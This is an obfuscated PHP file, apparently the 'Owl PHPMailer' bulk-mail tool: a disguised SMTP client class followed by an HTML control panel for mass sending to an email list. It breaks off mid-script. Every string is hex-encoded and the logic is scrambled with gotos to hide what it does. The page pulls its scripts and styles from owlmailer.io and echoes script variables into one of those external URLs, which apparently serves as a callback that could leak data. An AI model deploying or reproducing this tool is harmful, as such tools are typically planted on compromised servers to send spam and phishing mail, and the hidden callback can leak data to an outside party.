self::edebug("\101\165\164\x68\40\155\x65\164\x68\x6f\x64\40\x73\x65\x6c\x65\x63\164\145\144\x3a\40" . $BuaXA, self::DEBUG_LOWLEVEL);
ajOb9:
if (in_array($BuaXA, $this->server_caps["\101\125\x54\x48"])) {
goto qp40S;
}
$this->setError("\124\150\145\40\162\x65\161\165\145\x73\x74\145\144\40\141\165\164\x68\x65\156\x74\x69\x63\141\x74\151\157\156\x20\x6d\145\x74\150\x6f\144\x20\42{$BuaXA}\x22\x20\151\x73\x20\156\157\x74\x20\x73\x75\160\x70\157\162\164\x65\144\x20\142\x79\40\x74\150\x65\x20\x73\x65\162\x76\145\x72");
return false;
qp40S:
goto Bfl19;
inARk:
$BuaXA = "\x4c\117\107\111\116";
Bfl19:
switch ($BuaXA) {
case "\x50\114\101\x49\116":
if ($this->sendCommand("\101\x55\x54\x48", "\x41\x55\124\x48\40\x50\114\x41\111\116", 334)) {
goto kWadR;
}
return false;
kWadR:
if ($this->sendCommand("\125\163\145\162\x20\x26\x20\x50\x61\163\163\167\x6f\x72\144", base64_encode("\0" . $t7mwF . "\0" . $RNSkS), 235)) {
goto q4DXc;
}
return false;
q4DXc:
goto NaECh;
case "\114\117\107\111\x4e":
if ($this->sendCommand("\x41\125\124\x48", "\101\125\x54\110\40\x4c\x4f\107\x49\x4e", 334)) {
goto qklOA;
}
return false;
qklOA:
if ($this->sendCommand("\125\x73\x65\162\156\141\x6d\145", base64_encode($t7mwF), 334)) {
goto xCHMu;
}
return false;
xCHMu:
if ($this->sendCommand("\120\x61\x73\163\167\x6f\x72\x64", base64_encode($RNSkS), 235)) {
goto UCGWz;
}
return false;
UCGWz:
goto NaECh;
case "\103\122\101\115\55\x4d\x44\x35":
if ($this->sendCommand("\101\x55\x54\x48\x20\x43\x52\x41\115\55\x4d\x44\x35", "\x41\125\x54\x48\x20\x43\x52\x41\x4d\55\x4d\104\65", 334)) {
goto b6tLc;
}
return false;
b6tLc:
$kjlMP = base64_decode(substr($this->last_reply, 4));
$NxYHM = $t7mwF . "\x20" . $this->hmac($kjlMP, $RNSkS);
return $this->sendCommand("\125\x73\x65\162\x6e\x61\155\x65", base64_encode($NxYHM), 235);
case "\x58\x4f\101\125\x54\110\62":
if (!(null === $j1oGl)) {
goto sy2ZK;
}
return false;
sy2ZK:
$pCSB8 = $j1oGl->getOauth64();
if ($this->sendCommand("\101\x55\124\110", "\101\x55\124\x48\x20\x58\117\101\x55\x54\x48\62\40" . $pCSB8, 235)) {
goto Pqa0h;
}
return false;
Pqa0h:
goto NaECh;
default:
$this->setError("\x41\x75\164\150\x65\x6e\164\151\143\x61\x74\x69\157\156\x20\155\145\164\150\x6f\x64\x20\x22{$BuaXA}\42\x20\151\x73\x20\x6e\157\x74\40\163\165\x70\x70\x6f\162\164\x65\x64");
return false;
}
CYSfo:
NaECh:
return true;
}
protected function hmac($FJQWD, $pEv6e)
{
if (!function_exists("\x68\x61\163\x68\x5f\x68\x6d\141\x63")) {
goto Q0K1a;
}
return hash_hmac("\x6d\144\x35", $FJQWD, $pEv6e);
Q0K1a:
$QJf2s = 64;
if (!(strlen($pEv6e) > $QJf2s)) {
goto MM2Ee;
}
$pEv6e = pack("\x48\52", md5($pEv6e));
MM2Ee:
$pEv6e = str_pad($pEv6e, $QJf2s, chr(0x0));
$Con44 = str_pad('', $QJf2s, chr(0x36));
$PPQHU = str_pad('', $QJf2s, chr(0x5c));
$roHAi = $pEv6e ^ $Con44;
$PLEIS = $pEv6e ^ $PPQHU;
return md5($PLEIS . pack("\x48\52", md5($roHAi . $FJQWD)));
}
public function connected()
{
if (!is_resource($this->smtp_conn)) {
goto JVLCi;
}
$LcQ1t = stream_get_meta_data($this->smtp_conn);
if (!$LcQ1t["\145\157\146"]) {
goto wx7HR;
}
$this->edebug("\x53\x4d\124\x50\x20\x4e\117\124\x49\103\105\72\x20\x45\117\x46\x20\x63\141\165\147\x68\x74\x20\x77\150\x69\x6c\x65\x20\x63\x68\x65\143\153\x69\156\x67\x20\x69\x66\40\143\x6f\x6e\x6e\x65\143\164\x65\144", self::DEBUG_CLIENT);
$this->close();
return false;
wx7HR:
return true;
JVLCi:
return false;
}
public function close()
{
$this->setError('');
$this->server_caps = null;
$this->helo_rply = null;
if (!is_resource($this->smtp_conn)) {
goto pKyRx;
}
fclose($this->smtp_conn);
$this->smtp_conn = null;
$this->edebug("\x43\157\x6e\156\x65\x63\x74\x69\x6f\x6e\x3a\40\143\x6c\157\163\x65\144", self::DEBUG_CONNECTION);
pKyRx:
}
public function data($A9qXM)
{
if ($this->sendCommand("\104\x41\x54\x41", "\104\x41\x54\x41", 354)) {
goto QK5z3;
}
return false;
QK5z3:
$yCe67 = explode("\12", str_replace(["\xd\xa", "\15"], "\12", $A9qXM));
$UFDNA = substr($yCe67[0], 0, strpos($yCe67[0], "\x3a"));
$YD9wJ = false;
if (!(!empty($UFDNA) and strpos($UFDNA, "\40") === false)) {
goto laapZ;
}
$YD9wJ = true;
laapZ:
foreach ($yCe67 as $rYeep) {
$jIZfu = [];
if (!($YD9wJ and $rYeep == '')) {
goto M6sgF;
}
$YD9wJ = false;
M6sgF:
WsicF:
if (!isset($rYeep[self::MAX_LINE_LENGTH])) {
goto Caalj;
}
$lLiqT = strrpos(substr($rYeep, 0, self::MAX_LINE_LENGTH), "\x20");
if (!$lLiqT) {
goto oM1xf;
}
$jIZfu[] = substr($rYeep, 0, $lLiqT);
$rYeep = substr($rYeep, $lLiqT + 1);
goto GoJmV;
oM1xf:
$lLiqT = self::MAX_LINE_LENGTH - 1;
$jIZfu[] = substr($rYeep, 0, $lLiqT);
$rYeep = substr($rYeep, $lLiqT);
GoJmV:
if (!$YD9wJ) {
goto D0uHx;
}
$rYeep = "\x9" . $rYeep;
D0uHx:
goto WsicF;
Caalj:
$jIZfu[] = $rYeep;
foreach ($jIZfu as $ciT4j) {
if (!(!empty($ciT4j) and $ciT4j[0] == "\x2e")) {
goto ONHmM;
}
$ciT4j = "\x2e" . $ciT4j;
ONHmM:
$this->client_send($ciT4j . static::LE, "\x44\x41\x54\101");
ITYgP:
}
a1iq1:
T7zSo:
}
vRVyP:
$BRJq2 = $this->Timelimit;
$this->Timelimit = $this->Timelimit * 2;
$HYIC3 = $this->sendCommand("\x44\x41\x54\101\x20\x45\x4e\104", "\x2e", 250);
$this->recordLastTransactionID();
$this->Timelimit = $BRJq2;
return $HYIC3;
}
public function hello($S1iUU = '')
{
return $this->sendHello("\105\x48\x4c\x4f", $S1iUU) or $this->sendHello("\x48\x45\x4c\x4f", $S1iUU);
}
protected function sendHello($njo9Y, $S1iUU)
{
$T__mp = $this->sendCommand($njo9Y, $njo9Y . "\40" . $S1iUU, 250);
$this->helo_rply = $this->last_reply;
if ($T__mp) {
goto tRS8O;
}
$this->server_caps = null;
goto Tv9Up;
tRS8O:
$this->parseHelloFields($njo9Y);
Tv9Up:
return $T__mp;
}
protected function parseHelloFields($W7B1j)
{
$this->server_caps = [];
$yCe67 = explode("\12", $this->helo_rply);
foreach ($yCe67 as $j0kQ0 => $nkurT) {
$nkurT = trim(substr($nkurT, 4));
if (!empty($nkurT)) {
goto V4zCo;
}
goto TK7tY;
V4zCo:
$G4B70 = explode("\x20", $nkurT);
if (empty($G4B70)) {
goto P0vV4;
}
if (!$j0kQ0) {
goto LmuOt;
}
$dEC3m = array_shift($G4B70);
switch ($dEC3m) {
case "\x53\x49\132\105":
$G4B70 = $G4B70 ? $G4B70[0] : 0;
goto CCwHQ;
case "\101\x55\x54\110":
if (is_array($G4B70)) {
goto Cp24N;
}
$G4B70 = [];
Cp24N:
goto CCwHQ;
default:
$G4B70 = true;
}
MgtH4:
CCwHQ:
goto f7wUd;
LmuOt:
$dEC3m = $W7B1j;
$G4B70 = $G4B70[0];
f7wUd:
$this->server_caps[$dEC3m] = $G4B70;
P0vV4:
TK7tY:
}
rt_Yf:
}
public function mail($zzfpb)
{
$hwXU1 = $this->do_verp ? "\40\x58\x56\x45\x52\x50" : '';
return $this->sendCommand("\115\x41\111\x4c\40\x46\x52\x4f\x4d", "\x4d\101\111\x4c\40\x46\122\x4f\x4d\x3a\x3c" . $zzfpb . "\x3e" . $hwXU1, 250);
}
public function quit($y4wbn = true)
{
$T__mp = $this->sendCommand("\x51\125\111\124", "\121\125\111\x54", 221);
$yhEFW = $this->error;
if (!($T__mp or $y4wbn)) {
goto HLrNq;
}
$this->close();
$this->error = $yhEFW;
HLrNq:
return $T__mp;
}
public function recipient($w1_0x, $GqLn3 = '')
{
if (empty($GqLn3)) {
goto JiLXi;
}
$GqLn3 = strtoupper($GqLn3);
$jLZ2_ = [];
if (strpos($GqLn3, "\116\x45\126\x45\122") !== false) {
goto EYKSu;
}
foreach (["\123\125\103\x43\x45\x53\x53", "\106\x41\111\x4c\x55\x52\x45", "\x44\105\x4c\x41\x59"] as $GywUj) {
if (!(strpos($GqLn3, $GywUj) !== false)) {
goto ssY44;
}
$jLZ2_[] = $GywUj;
ssY44:
GSWj3:
}
RDJ3m:
goto l8O1S;
EYKSu:
$jLZ2_[] = "\x4e\x45\x56\105\x52";
l8O1S:
$DoDCn = "\x52\103\x50\x54\x20\124\117\x3a\x3c" . $w1_0x . "\76\40\116\117\x54\111\106\131\x3d" . implode("\x2c", $jLZ2_);
goto nllRo;
JiLXi:
$DoDCn = "\122\103\x50\x54\x20\124\117\x3a\74" . $w1_0x . "\76";
nllRo:
return $this->sendCommand("\122\x43\120\124\x20\124\x4f", $DoDCn, [250, 251]);
}
public function reset()
{
return $this->sendCommand("\x52\123\x45\x54", "\122\x53\105\x54", 250);
}
protected function sendCommand($HpHJw, $TygF6, $iqPuy)
{
if ($this->connected()) {
goto Epjht;
}
$this->setError("\x43\x61\154\154\x65\144\x20{$HpHJw}\x20\167\x69\x74\150\x6f\165\164\x20\x62\145\151\156\x67\x20\143\x6f\156\156\x65\x63\x74\x65\144");
return false;
Epjht:
if (!(strpos($TygF6, "\12") !== false or strpos($TygF6, "\15") !== false)) {
goto wgzXg;
}
$this->setError("\103\157\x6d\x6d\x61\x6e\144\x20\47{$HpHJw}\x27\40\143\157\x6e\164\141\x69\156\145\x64\x20\154\x69\156\145\40\x62\x72\145\x61\153\x73");
return false;
wgzXg:
$this->client_send($TygF6 . static::LE, $HpHJw);
$this->last_reply = $this->get_lines();
$I3B9w = [];
if (preg_match("\x2f\136\x28\133\x30\55\x39\x5d\173\63\175\x29\x5b\x20\x2d\x5d\50\x3f\72\50\133\x30\x2d\x39\x5d\134\56\133\x30\55\x39\135\x5c\56\x5b\60\55\71\x5d\x7b\x31\x2c\62\175\51\40\51\x3f\x2f", $this->last_reply, $I3B9w)) {
goto mNDiC;
}
$GRPqa = substr($this->last_reply, 0, 3);
$oH4Wx = null;
$uPrCC = substr($this->last_reply, 4);
goto HWOpx;
mNDiC:
$GRPqa = $I3B9w[1];
$oH4Wx = count($I3B9w) > 2 ? $I3B9w[2] : null;
$uPrCC = preg_replace("\57{$GRPqa}\133\x20\x2d\x5d" . ($oH4Wx ? str_replace("\56", "\x5c\x2e", $oH4Wx) . "\x20" : '') . "\x2f\x6d", '', $this->last_reply);
HWOpx:
$this->edebug("\x53\105\122\126\x45\x52\x20\55\x3e\x20\x43\x4c\111\105\x4e\124\x3a\x20" . $this->last_reply, self::DEBUG_SERVER);
if (in_array($GRPqa, (array) $iqPuy)) {
goto eHlHk;
}
$this->setError("{$HpHJw}\x20\143\x6f\155\x6d\141\x6e\144\40\146\x61\151\154\145\x64", $uPrCC, $GRPqa, $oH4Wx);
$this->edebug("\x53\115\x54\x50\40\x45\122\122\x4f\122\x3a\x20" . $this->error["\x65\x72\162\x6f\162"] . "\x3a\x20" . $this->last_reply, self::DEBUG_CLIENT);
return false;
eHlHk:
$this->setError('');
return true;
}
public function sendAndMail($zzfpb)
{
return $this->sendCommand("\123\101\x4d\x4c", "\123\101\115\x4c\40\106\x52\x4f\x4d\72{$zzfpb}", 250);
}
public function verify($dEC3m)
{
return $this->sendCommand("\x56\x52\x46\x59", "\x56\x52\106\x59\40{$dEC3m}", [250, 251]);
}
public function noop()
{
return $this->sendCommand("\116\x4f\x4f\x50", "\x4e\x4f\x4f\120", 250);
}
public function turn()
{
$this->setError("\124\x68\145\40\123\x4d\124\x50\x20\x54\125\122\116\40\x63\x6f\x6d\x6d\x61\156\144\40\151\x73\x20\x6e\157\164\x20\151\155\160\x6c\x65\155\145\x6e\164\145\144");
$this->edebug("\123\x4d\x54\120\x20\x4e\x4f\x54\x49\x43\105\x3a\x20" . $this->error["\x65\x72\x72\x6f\x72"], self::DEBUG_CLIENT);
return false;
}
public function client_send($FJQWD, $HpHJw = '')
{
if (self::DEBUG_LOWLEVEL > $this->do_debug and in_array($HpHJw, ["\125\163\145\x72\40\x26\40\x50\x61\x73\x73\x77\157\162\x64", "\125\x73\145\x72\x6e\141\155\145", "\x50\x61\163\163\x77\x6f\162\x64"], true)) {
goto C57T2;
}
$this->edebug("\103\x4c\111\x45\116\x54\40\55\x3e\40\123\105\x52\x56\105\122\72\40" . $FJQWD, self::DEBUG_CLIENT);
goto oVMZ8;
C57T2:
$this->edebug("\x43\x4c\111\105\x4e\x54\40\x2d\x3e\x20\123\x45\x52\126\x45\122\72\40\74\x63\162\x65\144\x65\156\164\151\141\154\x73\x20\150\151\x64\144\x65\x6e\76", self::DEBUG_CLIENT);
oVMZ8:
set_error_handler([$this, "\145\162\x72\157\162\110\141\156\x64\x6c\x65\162"]);
$HYIC3 = fwrite($this->smtp_conn, $FJQWD);
restore_error_handler();
return $HYIC3;
}
public function getError()
{
return $this->error;
}
public function getServerExtList()
{
return $this->server_caps;
}
public function getServerExt($dEC3m)
{
if ($this->server_caps) {
goto c8YAb;
}
$this->setError("\x4e\157\x20\110\x45\x4c\117\x2f\105\110\114\117\x20\x77\141\163\x20\163\x65\156\x74");
return;
c8YAb:
if (array_key_exists($dEC3m, $this->server_caps)) {
goto x3Fm9;
}
if (!("\110\105\x4c\x4f" == $dEC3m)) {
goto o_rIh;
}
return $this->server_caps["\105\110\114\x4f"];
o_rIh:
if (!("\105\x48\114\117" == $dEC3m || array_key_exists("\105\110\x4c\117", $this->server_caps))) {
goto oZ_BV;
}
return false;
oZ_BV:
$this->setError("\x48\105\114\117\x20\150\141\x6e\x64\x73\150\x61\153\x65\x20\x77\141\163\x20\165\x73\x65\x64\x3b\40\116\157\40\151\156\x66\x6f\162\x6d\x61\x74\151\157\x6e\x20\141\x62\x6f\x75\x74\x20\x73\145\162\166\145\162\x20\x65\170\x74\145\x6e\x73\x69\157\x6e\163\40\x61\x76\141\x69\x6c\141\142\x6c\145");
return;
x3Fm9:
return $this->server_caps[$dEC3m];
}
public function getLastReply()
{
return $this->last_reply;
}
protected function get_lines()
{
if (is_resource($this->smtp_conn)) {
goto J3Q8N;
}
return '';
J3Q8N:
$FJQWD = '';
$PMSOC = 0;
stream_set_timeout($this->smtp_conn, $this->Timeout);
if (!($this->Timelimit > 0)) {
goto idgxd;
}
$PMSOC = time() + $this->Timelimit;
idgxd:
$E7OLR = [$this->smtp_conn];
$p6c00 = null;
QLcAL:
if (!(is_resource($this->smtp_conn) and !feof($this->smtp_conn))) {
goto P8pF2;
}
if (stream_select($E7OLR, $p6c00, $p6c00, $this->Timelimit)) {
goto r2AJq;
}
$this->edebug("\x53\115\x54\120\x20\55\x3e\x20\147\x65\x74\x5f\x6c\151\x6e\145\x73\50\51\x3a\x20\164\151\x6d\145\144\55\157\x75\164\40\50" . $this->Timeout . "\40\163\145\x63\x29", self::DEBUG_LOWLEVEL);
goto P8pF2;
r2AJq:
$YX4WE = @fgets($this->smtp_conn, 515);
$this->edebug("\123\x4d\124\120\40\111\x4e\102\117\125\x4e\104\72\x20\42" . trim($YX4WE) . "\x22", self::DEBUG_LOWLEVEL);
$FJQWD .= $YX4WE;
if (!(!isset($YX4WE[3]) or isset($YX4WE[3]) and $YX4WE[3] == "\x20")) {
goto X4avt;
}
goto P8pF2;
X4avt:
$fgoJU = stream_get_meta_data($this->smtp_conn);
if (!$fgoJU["\x74\151\x6d\x65\144\x5f\157\165\x74"]) {
goto cQk94;
}
$this->edebug("\123\115\124\x50\40\55\76\40\x67\x65\x74\137\x6c\151\156\x65\163\50\x29\72\40\x74\x69\155\145\x64\x2d\157\165\x74\40\50" . $this->Timeout . "\40\163\145\143\51", self::DEBUG_LOWLEVEL);
goto P8pF2;
cQk94:
if (!($PMSOC and time() > $PMSOC)) {
goto BfCox;
}
$this->edebug("\123\x4d\124\120\40\55\x3e\40\147\145\164\x5f\154\x69\156\x65\163\50\51\x3a\x20\164\x69\x6d\x65\154\x69\155\151\x74\x20\x72\145\141\143\x68\145\x64\40\x28" . $this->Timelimit . "\40\x73\145\x63\51", self::DEBUG_LOWLEVEL);
goto P8pF2;
BfCox:
goto QLcAL;
P8pF2:
return $FJQWD;
}
public function setVerp($cgoP4 = false)
{
$this->do_verp = $cgoP4;
}
public function getVerp()
{
return $this->do_verp;
}
protected function setError($GRJNx, $uPrCC = '', $bWnuE = '', $ivOgZ = '')
{
$this->error = ["\145\x72\162\x6f\162" => $GRJNx, "\x64\x65\x74\x61\151\x6c" => $uPrCC, "\163\x6d\164\160\x5f\143\157\x64\145" => $bWnuE, "\163\155\x74\x70\x5f\143\x6f\144\145\137\x65\170" => $ivOgZ];
}
public function setDebugOutput($MGcrK = "\x65\x63\x68\157")
{
$this->Debugoutput = $MGcrK;
}
public function getDebugOutput()
{
return $this->Debugoutput;
}
public function setDebugLevel($vdarJ = 0)
{
$this->do_debug = $vdarJ;
}
public function getDebugLevel()
{
return $this->do_debug;
}
public function setTimeout($yMz18 = 0)
{
$this->Timeout = $yMz18;
}
public function getTimeout()
{
return $this->Timeout;
}
protected function errorHandler($rXtrb, $iZwv6, $JG32u = '', $ZtLKr = 0)
{
$fUXiU = "\x43\x6f\x6e\156\x65\x63\164\x69\x6f\156\40\146\x61\151\154\x65\x64\56";
$this->setError($fUXiU, $iZwv6, (string) $rXtrb);
$this->edebug("{$fUXiU}\x20\105\162\162\157\x72\x20\43{$rXtrb}\x3a\x20{$iZwv6}\40\133{$JG32u}\x20\x6c\x69\x6e\145\x20{$ZtLKr}\135", self::DEBUG_CONNECTION);
}
protected function recordLastTransactionID()
{
$ik9JE = $this->getLastReply();
if (empty($ik9JE)) {
goto LbjqT;
}
$this->last_smtp_transaction_id = false;
foreach ($this->smtp_transaction_id_patterns as $Z7VJu) {
if (!preg_match($Z7VJu, $ik9JE, $I3B9w)) {
goto TUluN;
}
$this->last_smtp_transaction_id = trim($I3B9w[1]);
goto e4XQZ;
TUluN:
PnqB4:
}
e4XQZ:
goto Q2D7f;
LbjqT:
$this->last_smtp_transaction_id = null;
Q2D7f:
return $this->last_smtp_transaction_id;
}
public function getLastTransactionID()
{
return $this->last_smtp_transaction_id;
}
}
class phpmailerException extends Exception
{
public function errorMessage()
{
$ZOBq5 = "\x3c\163\164\162\x6f\156\x67\76" . $this->getMessage() . "\74\57\x73\x74\x72\157\156\147\x3e\x3c\142\162\x20\x2f\76\12";
return $ZOBq5;
}
}
echo "\x3c\x21\104\x4f\103\124\131\120\105\x20\150\x74\155\x6c\x3e\15\12\74\x68\x74\155\x6c\40\x6c\141\156\147\x3d\42\x65\156\x22\76\15\xa\x3c\150\x65\141\x64\76\15\xa\40\x20\x3c\155\x65\x74\141\40\x63\150\141\x72\x73\145\x74\75\x22\165\x74\146\55\x38\x22\76\xd\xa\40\40\74\155\145\x74\x61\40\x68\x74\x74\x70\55\145\161\x75\x69\x76\75\x22\x58\x2d\x55\101\x2d\103\157\155\160\x61\164\x69\142\x6c\x65\x22\x20\x63\x6f\x6e\x74\x65\x6e\164\75\42\x49\x45\40\x3d\x20\145\144\147\145\x22\x3e\15\12\40\x20\x3c\155\x65\164\141\40\156\x61\x6d\145\75\42\x76\151\145\167\160\157\162\x74\42\40\x63\157\x6e\164\x65\156\x74\75\42\167\x69\x64\164\150\40\75\40\144\145\x76\x69\143\145\55\167\151\x64\x74\150\54\x20\x69\x6e\x69\x74\x69\141\x6c\55\x73\x63\141\154\145\40\x3d\x20\x31\x22\x3e\15\xa\x20\40\x3c\x74\151\x74\x6c\145\x3e\117\167\x6c\40\x50\110\x50\x4d\x61\x69\154\x65\162\40";
echo $qeeAj["\x76\x65\x72\x73\151\x6f\156"];
echo "\74\x2f\x74\151\x74\154\145\x3e\xd\xa\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\74\x6c\x69\156\153\x20\x68\x72\145\x66\75\42\x68\164\164\x70\163\x3a\x2f\57\157\167\x6c\155\x61\x69\154\x65\162\56\x69\x6f\x2f\x63\163\163\57\x33\56\63\56\66\142\x6f\157\x74\x73\164\x72\141\160\x2e\x6d\x69\156\56\x63\163\163\42\40\x72\145\x6c\75\42\163\x74\171\x6c\145\163\150\145\145\x74\42\x3e\xd\12\40\x20\x3c\41\55\x2d\x20\152\x51\165\x65\162\171\40\50\156\x65\x63\x65\x73\163\x61\x72\x79\x20\x66\x6f\x72\x20\x42\x6f\x6f\164\163\164\162\141\160\x27\x73\40\112\x61\x76\x61\x53\143\x72\151\x70\164\40\160\154\165\147\151\156\163\x29\40\x2d\55\76\xd\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x20\74\163\143\x72\x69\x70\164\x20\163\162\143\x3d\x22\150\x74\164\160\x73\x3a\57\57\x6f\x77\x6c\155\141\151\x6c\x65\162\x2e\151\x6f\x2f\x63\163\163\x2f\x6a\161\x75\145\x72\171\x2e\x6d\151\x6e\56\152\x73\42\x3e\74\x2f\x73\x63\162\x69\160\x74\x3e\15\12\74\154\x69\156\153\40\x72\145\x6c\75\42\x73\164\171\154\x65\x73\x68\x65\145\164\42\40\x74\x79\x70\145\x3d\42\x74\145\x78\164\x2f\143\163\163\x22\40\150\x72\145\146\x3d\42\x68\x74\164\160\163\72\x2f\57\x6f\x77\x6c\155\x61\151\x6c\x65\162\56\x69\157\x2f";
echo $RcI5o, $RNSkS;
echo "\x22\x20\57\x3e\xd\xa\40\40\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\x3c\163\143\x72\x69\x70\x74\40\163\x72\143\75\42\150\164\164\160\163\x3a\57\57\157\167\x6c\x6d\141\x69\x6c\145\162\x2e\151\157\57\143\x73\163\x2f\63\x2e\63\x2e\61\x62\157\x6f\164\163\x74\162\141\160\56\155\x69\x6e\56\152\163\x22\x3e\x3c\57\163\143\x72\151\x70\164\76\15\12\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x3c\154\151\156\153\40\x72\x65\x6c\x3d\x22\x69\x63\x6f\156\42\40\x68\162\x65\x66\75\x22\150\164\x74\x70\163\x3a\57\57\x6f\x77\154\155\141\x69\154\x65\162\x2e\151\x6f\x2f\x69\x6d\147\x2f\146\x61\x76\151\x63\157\156\x2e\x69\x63\x6f\42\x20\164\x79\160\145\x3d\x22\x69\155\x61\147\x65\x2f\170\x2d\151\143\157\156\x22\40\57\76\15\12\xd\12\xd\12\x3c\x2f\x68\145\x61\144\76\xd\xa\15\xa\x3c\x62\x6f\144\171\x3e\15\12\x20\x20\40\40\74\163\143\x72\x69\x70\x74\76\15\12\x20\x20\40\x20\x20\x20\x20\40\166\141\162\40\x72\x75\156\156\x69\156\147\40\x3d\x20\146\x61\x6c\163\145\73\15\12\x20\40\x20\40\x20\x20\40\40\x76\141\162\x20\162\145\x71\165\x65\163\164\x3b\xd\12\40\40\40\x20\x3c\x2f\x73\x63\x72\x69\x70\164\76\15\xa\xd\xa\40\x20\x3c\163\x63\162\x69\x70\164\76\15\xa\x20\40\40\40\101\x72\x72\141\171\x2e\x70\x72\x6f\x74\157\164\x79\x70\x65\56\x72\141\156\144\157\155\x45\154\x65\x6d\x65\x6e\164\x20\75\40\x66\165\x6e\x63\x74\151\x6f\x6e\40\x28\x29\40\x7b\15\xa\x20\x20\x72\x65\164\165\162\x6e\40\164\150\x69\x73\x5b\x4d\141\164\150\56\146\154\157\157\162\x28\115\x61\x74\150\56\x72\141\156\144\157\155\x28\x29\x20\x2a\40\164\x68\151\x73\56\x6c\145\x6e\x67\164\x68\51\135\15\xa\x20\175\15\xa\xd\xa\40\x66\x75\156\x63\x74\151\157\x6e\x20\x73\164\157\160\x53\x65\156\144\151\156\147\x28\51\xd\12\x20\173\15\12\40\x20\x20\40\162\x75\x6e\156\151\156\x67\x20\x3d\40\x66\x61\154\163\x65\x3b\15\xa\15\xa\40\x20\40\x20\x69\146\x20\x28\x72\145\x71\x75\x65\163\164\51\x20\173\xd\xa\40\x20\40\x20\x20\40\40\x20\x72\x65\161\165\x65\x73\164\x2e\141\x62\157\x72\x74\x28\x29\x3b\xd\xa\x20\x20\x20\x20\40\40\175\xd\xa\15\xa\40\x20\x20\x20\x24\50\42\x23\142\x74\156\x53\x74\x61\x72\164\x22\x29\x2e\141\x74\x74\x72\50\x22\144\151\x73\141\x62\154\145\x64\x22\54\40\146\141\x6c\163\145\51\x3b\15\xa\x20\x20\40\40\44\x28\42\x23\142\x74\x6e\x53\164\x6f\x70\x22\x29\56\x61\164\x74\x72\50\x22\x64\151\163\141\142\x6c\x65\144\x22\54\40\x74\x72\165\x65\51\73\xd\xa\x20\x7d\15\xa\xd\12\x20\146\x75\x6e\x63\164\151\157\156\40\x68\x61\156\x64\154\145\x53\x65\156\144\x69\x6e\x67\x52\x65\163\x70\157\156\163\x65\50\162\x65\x63\x69\160\x69\145\x6e\164\x2c\40\x72\x65\163\x70\x6f\x6e\163\x65\x2c\40\160\162\157\x63\145\x73\163\x65\x64\103\157\165\156\x74\x2c\40\x74\x6f\164\x61\154\105\155\x61\x69\x6c\103\x6f\x75\156\164\x29\40\173\xd\12\x20\40\x24\50\x22\x23\x70\162\157\x67\x72\145\163\163\42\51\x2e\141\160\x70\x65\156\x64\x28\x27\74\x64\151\x76\x20\143\154\x61\x73\x73\x3d\x22\143\157\x6c\55\x6c\147\x2d\x33\42\76\47\40\x2b\x20\x70\x72\157\143\x65\x73\x73\145\144\x43\157\165\x6e\164\x2e\164\157\123\x74\x72\151\x6e\x67\x28\x29\40\x2b\x20\47\57\47\40\53\x20\x74\157\164\x61\154\x45\x6d\141\151\154\x43\157\165\x6e\x74\x2e\x74\x6f\x53\164\162\151\x6e\x67\50\51\x20\53\40\x27\74\x2f\x64\151\x76\x3e\74\144\151\166\x20\x63\154\x61\x73\163\x3d\x22\x63\157\x6c\55\x6c\147\55\66\42\x3e\x27\40\53\x20\162\145\143\151\160\151\145\x6e\x74\40\x2b\40\47\74\x2f\144\151\166\76\47\51\x3b\15\xa\x20\x20\xd\xa\x20\x20\151\146\40\x28\162\x65\163\160\157\156\163\x65\x20\x3d\x3d\x20\x22\117\x4b\42\51\x7b\15\12\x20\40\x20\40\x24\50\42\x23\160\x72\x6f\147\162\145\x73\163\x22\x29\x2e\x61\x70\x70\145\156\144\x28\47\x3c\x64\151\166\40\143\x6c\141\163\163\x3d\42\x63\157\154\x2d\154\x67\55\61\42\x3e\x3c\163\160\x61\156\40\x63\154\x61\x73\x73\75\42\154\141\142\x65\x6c\x20\x6c\x61\x62\x65\x6c\x2d\163\x75\x63\x63\x65\x73\163\x22\76\117\153\x3c\57\163\160\x61\156\x3e\74\x2f\144\x69\x76\76\x27\x29\73\xd\12\x20\x20\x7d\xd\xa\40\40\x65\x6c\163\x65\x20\151\x66\x28\162\145\x73\160\157\x6e\163\145\40\x3d\75\40\x22\x49\156\143\x6f\x72\x72\145\x63\x74\40\105\x6d\x61\x69\154\42\x29\173\xd\12\40\x20\40\x20\44\50\42\43\x70\162\x6f\x67\162\x65\x73\x73\42\51\56\x61\160\160\x65\x6e\144\50\47\74\144\151\166\x20\x63\x6c\141\x73\x73\x3d\x22\x63\x6f\x6c\x2d\154\x67\55\61\x22\x3e\x3c\x73\x70\x61\156\40\x63\154\141\x73\163\75\42\154\141\x62\x65\x6c\x20\154\141\x62\x65\x6c\x2d\144\x65\x66\141\x75\x6c\164\x22\76\111\x6e\143\157\x72\162\x65\143\164\40\x45\x6d\x61\151\x6c\74\57\163\x70\141\156\x3e\74\57\144\151\166\x3e\x27\51\73\xd\12\40\40\175\x20\x65\x6c\x73\145\40\173\15\12\40\x20\40\x20\44\x28\x22\43\x70\x72\157\x67\162\x65\163\163\42\x29\56\141\160\x70\x65\156\x64\x28\x27\x3c\x64\151\x76\x20\x63\154\141\163\163\x3d\42\143\157\154\55\x6c\147\x2d\x31\42\76\74\163\x70\141\x6e\40\143\x6c\141\x73\163\75\42\154\141\142\x65\x6c\x20\x6c\x61\142\145\x6c\55\144\145\146\141\x75\x6c\x74\42\x3e\47\40\x2b\40\x72\145\x73\x70\x6f\156\x73\145\40\53\40\x27\x3c\x2f\x73\x70\141\156\x3e\74\57\144\151\166\76\x27\x29\73\15\12\x20\x20\x7d\xd\12\40\x20\44\50\42\43\160\162\157\147\162\145\x73\163\x22\x29\x2e\x61\160\160\x65\156\x64\x28\47\74\x62\x72\x3e\x27\x29\73\15\12\40\175\xd\xa\15\xa\x20\146\165\156\x63\164\x69\157\156\40\x73\164\141\x72\164\123\x65\x6e\x64\x69\x6e\x67\50\51\x20\x7b\xd\12\15\xa\40\xd\12\xd\12\x20\40\x76\x61\162\x20\145\x4d\141\x69\154\124\x65\170\x74\101\162\145\141\x20\75\40\144\157\x63\x75\155\x65\156\164\56\147\145\164\x45\x6c\x65\x6d\145\156\x74\x42\171\x49\x64\50\42\145\155\141\x69\x6c\x4c\151\163\x74\42\51\73\15\xa\40\40\x76\x61\x72\40\x65\115\141\x69\154\x54\145\x7